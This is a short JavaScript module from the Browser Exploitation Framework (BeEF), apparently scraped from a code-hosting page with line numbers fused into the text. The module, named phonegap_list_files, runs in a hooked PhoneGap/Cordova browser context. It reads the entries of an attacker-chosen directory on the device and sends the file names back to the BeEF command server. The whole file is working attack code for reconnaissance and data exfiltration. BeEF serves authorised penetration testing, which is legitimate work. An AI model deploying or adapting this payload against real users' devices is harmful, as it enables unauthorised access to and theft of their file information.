Path: blob/master/modules/phonegap/phonegap_list_files/command.js
1154 views
//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56// phonegap_upload7//8beef.execute(function() {9var directory = "<%== @directory %>";10var result = '';1112function fail() {13result = 'fail';1415beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );16}1718function success(entries) {19var i;20for (i=0; i<entries.length; i++) {21result = result + '\n ' + entries[i].name;22}2324beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );25}2627// use directoryentry to create directory reader28function gotDirEntry(dirEntry) {29var directoryReader = dirEntry.createReader();30directoryReader.readEntries(success,fail);31}3233// use getDirectoy to create reference to directoryentry34function gotFS(fileSystem) {35fileSystem.root.getDirectory(directory, null, gotDirEntry, fail);36}3738window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);3940});414243